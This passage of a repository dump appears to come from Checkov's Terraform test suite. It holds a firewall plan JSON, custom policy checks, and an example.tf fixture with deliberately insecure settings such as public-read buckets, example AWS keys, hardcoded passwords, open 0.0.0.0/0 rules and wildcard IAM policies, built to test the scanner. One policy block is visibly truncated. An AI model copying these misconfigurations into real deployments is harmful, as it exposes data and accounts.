"tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_valid_443:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_valid_ports": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "valid-port80and443" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 80, 443 ], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_valid_ports:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_violating_no_ports": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "all-ports" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_violating_no_ports:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_violating_port": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "violating-port3600" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 80, 443, 3600 ], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_violating_port:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } } } } } } ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/nsg_rule_connection.yaml ================================================ metadata: name: "Ensure that connection exists between NSG and rule" id: "CUSTOM_CONNECTION_1" category: "NETWORKING" definition: and: - cond_type: connection resource_types: - azurerm_network_security_group connected_resource_types: - azurerm_network_security_rule operator: exists - cond_type: filter attribute: resource_type value: - azurerm_network_security_group operator: within ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/secret_not_deleted.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS class KmsKeyNotDeleted(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Secret is not deleted" id = "CUSTOM_DELETE_1" supported_resources = ("aws_secretsmanager_secret",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS) if isinstance(actions, list) and "delete" in actions: self.details.append("some great details") return CheckResult.FAILED return CheckResult.PASSED scanner = KmsKeyNotDeleted() ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/secret_not_deleted.yaml ================================================ metadata: name: "Ensure Secret is not deleted" id: "CUSTOM_DELETE_2" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - aws_secretsmanager_secret attribute: __change_actions__ operator: not_contains value: delete ================================================ FILE: tests/terraform/runner/extra_tf_plan_checks/security_group_rule_protocol_changed.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS, TF_PLAN_RESOURCE_CHANGE_KEYS class SecurityGroupRuleProtocolChanged(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security group rule protocol is not being changed" id = "CUSTOM_CHANGE_1" supported_resources = ("aws_security_group_rule",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS) if isinstance(actions, list) and "update" in actions: if "protocol" in conf.get(TF_PLAN_RESOURCE_CHANGE_KEYS): self.details.append("some great details") return CheckResult.FAILED return CheckResult.PASSED check = SecurityGroupRuleProtocolChanged() ================================================ FILE: tests/terraform/runner/extra_yaml_checks/aws_provider_check.yaml ================================================ metadata: id: "CUSTOM_GRAPH_AWS_4" name: "Ensure a certain region is not added" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: - "provider.aws" attribute: "region" operator: "not_contains" value: "us-west-2" ================================================ FILE: tests/terraform/runner/extra_yaml_checks/bucket_versioned_owned.yaml ================================================ metadata: id: "CKV2_CUSTOM_1" name: "Ensure bucket has versioning and owner tag" category: "BACKUP_AND_RECOVERY" guideline: "https://docs.bridgecrew.io/docs/ckv2_custom_1" definition: and: - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "tags.Owner" operator: "exists" - cond_type: "attribute" resource_types: - "aws_s3_bucket" attribute: "versioning.enabled" operator: "equals" value: "true" ================================================ FILE: tests/terraform/runner/extra_yaml_checks/module_source.yaml ================================================ metadata: name: "Ensure all modules are using the official AWS ones" id: "CUSTOM_GRAPH_AWS_2" category: "SUPPLY_CHAIN" definition: cond_type: attribute resource_types: - module attribute: source operator: starting_with value: terraform-aws-modules ================================================ FILE: tests/terraform/runner/extra_yaml_checks/policy_violations.yaml ================================================ metadata: id: "CUSTOM_GRAPH_AWS_3" name: "Ensure a certain region is not added" category: "GENERAL_SECURITY" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "provider" attribute: "default_tags" operator: exists - cond_type: "attribute" resource_types: - "provider" attribute: "region" operator: "not_contains" value: "us-west-1" ================================================ FILE: tests/terraform/runner/extra_yaml_checks/test_tag.yaml ================================================ metadata: name: "Ensure all resources are tagged with the relevant env" id: "CUSTOM_GRAPH_AWS_1" category: "GENERAL_SECURITY" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "all" attribute: "tags.env" operator: "exists" ================================================ FILE: tests/terraform/runner/py_check_tf_plan/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/py_check_tf_plan/check_tf_plan.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class JustForTest(BaseResourceValueCheck): def __init__(self): name = "Just for test (Like CKV2_GCP_18)" id = "CKV_AWS_99999" supported_resources = ['google_compute_network'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_encrypted" def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: result = super().scan_resource_conf(conf=conf) # For RustworkX Framework - resources = [g[1] for g in self.graph.nodes() if g[1].get('block_type_') == 'resource'] # Do something here. if resources: return CheckResult.PASSED return result check = JustForTest() ================================================ FILE: tests/terraform/runner/py_graph_check/__init__.py ================================================ ================================================ FILE: tests/terraform/runner/py_graph_check/py_graph_check.py ================================================ from __future__ import annotations from typing import Any from checkov.common.graph.graph_builder import CustomAttributes from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class RDSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the RDS is securely encrypted at rest" id = "CKV_AWS_000" supported_resources = ['aws_db_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_encrypted" def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: result = super().scan_resource_conf(conf=conf) provider_name = conf.get("provider") if provider_name and isinstance(provider_name, list): providers = [g[1] for g in self.graph.nodes() if g[1].get('block_type_') == 'provider'] provider = next((prov for prov in providers if prov[CustomAttributes.BLOCK_NAME] == provider_name[0]), None) if provider and provider.get("use_fips_endpoint") is True: return CheckResult.PASSED return result check = RDSEncryption() ================================================ FILE: tests/terraform/runner/resources/definition_context_path_nested_modules/main.tf ================================================ provider "aws" { region = "us-west-2" } module "s3_module" { source = "./module" acl = "public-read" } resource "aws_s3_bucket" "example" { bucket = "example" acl = "public-read" } ================================================ FILE: tests/terraform/runner/resources/definition_context_path_nested_modules/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" acl = var.acl } resource "aws_s3_bucket" "example2" { bucket = "example" acl = var.acl } ================================================ FILE: tests/terraform/runner/resources/definition_context_path_nested_modules/module/module2/main.tf ================================================ resource "aws_s3_bucket" "example3" { bucket = "example" acl = var.acl } ================================================ FILE: tests/terraform/runner/resources/definition_context_path_nested_modules/module/module2/variable.tf ================================================ variable "acl" { type = string } ================================================ FILE: tests/terraform/runner/resources/definition_context_path_nested_modules/module/variable.tf ================================================ variable "acl" { type = string } ================================================ FILE: tests/terraform/runner/resources/duplicate_violations/modules/main.tf ================================================ data "aws_iam_policy_document" "restrictions" { # do not allow the account to leave the org except for the exempt statement { effect = "Deny" resources = [ "*", ] } } resource "aws_organizations_policy" "restrictions" { name = "${var.account_name}-restrictions" content = data.aws_iam_policy_document.restrictions.json } ================================================ FILE: tests/terraform/runner/resources/duplicate_violations/src/main1.tf ================================================ module "module1" { source = "../modules/" } ================================================ FILE: tests/terraform/runner/resources/duplicate_violations/src/main2.tf ================================================ module "module2" { source = "../modules/" } ================================================ FILE: tests/terraform/runner/resources/empty_locals/locals.tf ================================================ locals { } ================================================ FILE: tests/terraform/runner/resources/example/example.tf ================================================ provider "aws" { region = "us-west-2" access_key = "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_6 test secret } resource "azurerm_virtual_machine" "main" { name = "${var.prefix}-vm" location = "${azurerm_resource_group.main.location}" resource_group_name = "${azurerm_resource_group.main.name}" network_interface_ids = [ "${azurerm_network_interface.main.id}"] vm_size = "Standard_DS1_v2" # Uncomment this line to delete the OS disk automatically when deleting the VM # delete_os_disk_on_termination = true # Uncomment this line to delete the data disks automatically when deleting the VM # delete_data_disks_on_termination = true storage_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } os_profile { computer_name = "hostname" admin_username = "testadmin" admin_password = "Password1234!" # checkov:skip=CKV_SECRET_80 test secret } os_profile_linux_config { disable_password_authentication = false } tags = { environment = "staging" } } resource "azurerm_managed_disk" "source" { encryption_settings { enabled = false } create_option = "" location = "" name = "" resource_group_name = "foo" storage_account_type = "" } resource "google_storage_bucket" "with-customer-encryption-key" { name = "customer-managed-encryption-key-bucket-${data.google_project.current.number}" location = "EU" } resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name acl = "public-read" force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } #checkov:skip=CKV_AWS_20:The bucket is a public static content host versioning { enabled = true } } data "aws_caller_identity" "current" {} resource "google_sql_database_instance" "gcp_sql_db_instance_bad" { settings { tier = "1" } } resource "google_sql_database_instance" "gcp_sql_db_instance_good" { settings { tier = "1" ip_configuration { require_ssl = "True" } } } resource "google_container_cluster" "primary_good" { name = "google_cluster" enable_legacy_abac = false resource_labels { Owner = "SomeoneNotWorkingHere" } node_config { image_type = "cos" } ip_allocation_policy {} private_cluster_config {} } resource "google_container_cluster" "primary_good2" { name = "google_cluster" monitoring_service = "monitoring.googleapis.com" master_authorized_networks_config {} master_auth { client_certificate_config { issue_client_certificate = false } } node_config { image_type = "not-cos" } pod_security_policy_config { enabled = true } private_cluster_config {} } resource "google_container_cluster" "primary_bad" { name = "google_cluster_bad" monitoring_service = "none" enable_legacy_abac = true master_authorized_networks_config { cidr_blocks { cidr_block = "0.0.0.0/0" display_name = "The world" } } master_auth { username = "test" password = "password" } resource_labels {} } resource "google_container_node_pool" "bad_node_pool" { cluster = "" management { } } resource "google_container_node_pool" "good_node_pool" { cluster = "" management { auto_repair = true } } resource "aws_kms_key" "my_kms_key" { description = "My KMS Key" enable_key_rotation = true } resource "aws_iam_account_password_policy" "password-policy" { minimum_password_length = 15 require_lowercase_characters = true require_numbers = true require_uppercase_characters = true require_symbols = true allow_users_to_change_password = true } resource "aws_iam_account_password_policy" "paswword-policy_example_with_string_values" { allow_users_to_change_password = var.allow_users_to_change_password hard_expiry = var.hard_expiry minimum_password_length = "14" max_password_age = "40" password_reuse_prevention = "3" require_lowercase_characters = var.require_lowercase_characters require_uppercase_characters = var.require_uppercase_characters require_numbers = var.require_numbers require_symbols = var.require_symbols } resource "aws_security_group" "bar-sg" { name = "sg-bar" vpc_id = aws_vpc.main.id ingress { from_port = 22 to_port = 22 protocol = "tcp" security_groups = [ aws_security_group.foo-sg.id] description = "foo" } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = [ "0.0.0.0/0"] } } resource "aws_security_group" "ingress_as_map" { name = "${var.name}_elasticsearch" description = "ELK ${var.name} ElasticSearch instances" vpc_id = "${data.aws_vpc.selected.id}" egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } ingress = { from_port = 9200 to_port = 9200 protocol = "tcp" security_groups = ["${aws_security_group.elk_logstash.id}"] } ingress = { from_port = 9300 to_port = 9400 protocol = "tcp" security_groups = ["${aws_security_group.elk_kibana.id}"] self = true } ingress = { from_port = 22 to_port = 22 protocol = "tcp" security_groups = "${concat(list(aws_security_group.elk_admin.id), var.admin_sg_ids)}" cidr_blocks = "${var.admin_cidrs}" } tags = "${merge(var.tags, map("Module", var.module))}" } resource "aws_iam_policy" "example" { name = "example_policy" path = "/" policy = "${data.aws_iam_policy_document.example.json}" } resource "aws_elasticache_replication_group" "example" { automatic_failover_enabled = true availability_zones = [ "us-west-2a", "us-west-2b"] replication_group_id = "tf-rep-group-1" replication_group_description = "test description" node_type = "cache.m4.large" number_cache_clusters = 2 parameter_group_name = "default.redis3.2" port = 6379 at_rest_encryption_enabled = true transit_encryption_enabled = true auth_token = var.auth_token } resource "aws_ecr_repository_policy" "public_repo_policy" { repository = "public_repo" policy = <Deployed via Terraform" | sudo tee /var/www/html/index.html EOF tags = { Name = "${local.resource_prefix.value}-ec2" } } data aws_iam_policy_document "bad_policy_document" { version = "2012-10-17" statement { actions = ["*"] resources = ["*"] } } data aws_iam_policy_document "good_policy_document" { version = "2012-10-17" statement { actions = ["s3:Get*"] resources = ["*"] effect = "Allow" } } data aws_iam_policy_document "long_bad_policy_document" { version = "2012-10-17" statement { actions = ["s3:Get*"] resources = ["*"] effect = "Allow" } statement { actions = ["*"] resources = ["*"] effect = "Allow" } } data aws_iam_policy_document "good_deny_policy_document" { version = "2012-10-17" statement { actions = ["*"] resources = ["*"] effect = "Deny" condition { test = "ArnLike" values = ["arn:aws:mock:mock:mock"] variable = "aws:mock" } } } data aws_iam_policy_document "scp_deny_example" { statement { sid = "NoIAMUsers" effect = "Deny" not_actions = [ "iam:Get*", "iam:List*", "iam:Describe*", ] resources = [ "arn:aws:iam::*:user/*", ] } } resource aws_lambda_function "good-function" { filename = "lambda_function_payload.zip" function_name = "good_lambda_function_name" role = "${aws_iam_role.iam_for_lambda.arn}" handler = "exports.test" # The filebase64sha256() function is available in Terraform 0.11.12 and later # For Terraform 0.11.11 and earlier, use the base64sha256() function and the file() function: # source_code_hash = "${base64sha256(file("lambda_function_payload.zip"))}" source_code_hash = "${filebase64sha256("lambda_function_payload.zip")}" runtime = "nodejs12.x" environment { variables = "${var.variables_map}" } } resource aws_lambda_function "bad-function" { filename = "lambda_function_payload.zip" function_name = "bad_lambda_function_name" role = "${aws_iam_role.iam_for_lambda.arn}" handler = "exports.test" # The filebase64sha256() function is available in Terraform 0.11.12 and later # For Terraform 0.11.11 and earlier, use the base64sha256() function and the file() function: # source_code_hash = "${base64sha256(file("lambda_function_payload.zip"))}" source_code_hash = "${filebase64sha256("lambda_function_payload.zip")}" runtime = "nodejs12.x" environment { variables = { AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE" secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_80 test secret } } } resource "aws_lambda_function" "block_environment_variables" { filename = "${path.module}/canary_sensor_api_capture.zip" description = "A lambda that reaches out to the Canary API used on the Canary website, obtains bearer tokens for communication, gets a list of the devices attached to the account, and fetches the sensor data for those devices." function_name = "canary_sensor_api_capture" role = "${aws_iam_role.canary_sensor_api_capture_role.arn}" handler = "canary_sensor_api_capture.lambda_handler" source_code_hash = "${data.archive_file.canary_sensor_api_capture_zip.output_base64sha256}" runtime = "python2.7" timeout = 10 environment { variables { kmsArn = "${var.kms_arn}" username = "${var.canary_username}" password = "${var.canary_encrytped_password}" } } } resource "aws_lambda_function" "environment_and_variables_map" { filename = "${data.archive_file.ami_backup.output_path}" function_name = "${module.label_backup.id}" description = "Automatically backup EC2 instance (create AMI)" role = "${aws_iam_role.ami_backup.arn}" timeout = 60 handler = "ami_backup.lambda_handler" runtime = "python2.7" source_code_hash = "${data.archive_file.ami_backup.output_base64sha256}" environment = { variables = { region = "${var.region}" ami_owner = "${var.ami_owner}" instance_id = "${var.instance_id}" retention = "${var.retention_days}" label_id = "${module.label.id}" reboot = "${var.reboot ? "1" : "0"}" block_device_mappings = "${jsonencode(var.block_device_mappings)}" } } } resource "aws_lambda_function" "dynamic_environment_example" { function_name = var.name filename = "${path.module}/lambda_function.zip" role = aws_iam_role.this.arn handler = var.handler runtime = var.runtime memory_size = var.memory_size timeout = var.timeout layers = var.layers description = var.description reserved_concurrent_executions = var.reserved_concurrent_executions publish = var.publish kms_key_arn = var.kms_key_arn dynamic "environment" { for_each = length(var.environment_variables) > 0 ? [ true] : [] content { variables = var.environment_variables } } } resource "aws_s3_bucket" "versioning-string" { bucket = "${var.bucket}" region = "${var.region}" acl = "${var.acl}" cors_rule = "${var.cors_rule}" website = "${var.website}" force_destroy = "${var.force_destroy}" lifecycle_rule = "${var.lifecycle_rule}" versioning = "${var.versioning}" logging = "${var.logging}" request_payer = "${var.request_payer}" replication_configuration = "${var.replication_configuration}" server_side_encryption_configuration = "${var.server_side_encryption_configuration}" tags = "${var.tags}" } resource aws_eks_cluster "eks_bad" { name = "bad-eks" role_arn = var.role_arn vpc_config { subnet_ids = [] endpoint_public_access = true } encryption_config { provider { key_arn = var.key_arn } resources = [] } } resource aws_eks_cluster "eks_bad2" { name = "bad-eks2" role_arn = var.role_arn vpc_config { subnet_ids = [] endpoint_public_access = true } } resource aws_eks_cluster "eks_good" { name = "good-eks2" role_arn = var.role_arn vpc_config { subnet_ids = [] endpoint_public_access = true } encryption_config { provider { key_arn = var.key_arn } resources = ["secrets"] } } resource azurerm_kubernetes_cluster "example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } agent_pool_profile {} service_principal {} api_server_authorized_ip_ranges = ["192.168.0.0/16"] tags = { Environment = "Production" } addon_profile { kube_dashboard { enabled = true } oms_agent { enabled = true log_analytics_workspace_id = "" } } } resource azurerm_kubernetes_cluster "bad-example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } agent_pool_profile {} service_principal {} api_server_authorized_ip_ranges = [] role_based_access_control { enabled = true } network_profile { network_plugin = "azure" } tags = { Environment = "Production" } } resource azurerm_kubernetes_cluster "bad-example" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } agent_pool_profile {} service_principal {} role_based_access_control { enabled = false } addon_profile { kube_dashboard { enabled = false } } network_profile { network_plugin = "azure" network_policy = "network_policy" } tags = { Environment = "Production" } } resource "aws_elasticsearch_domain" "dynamic_cluster_config_example" { domain_name = var.domain_name elasticsearch_version = var.elasticsearch_version access_policies = var.access_policies advanced_options = var.advanced_options == null ? {} : var.advanced_options dynamic "cluster_config" { for_each = local.cluster_config content { instance_type = lookup(cluster_config.value, 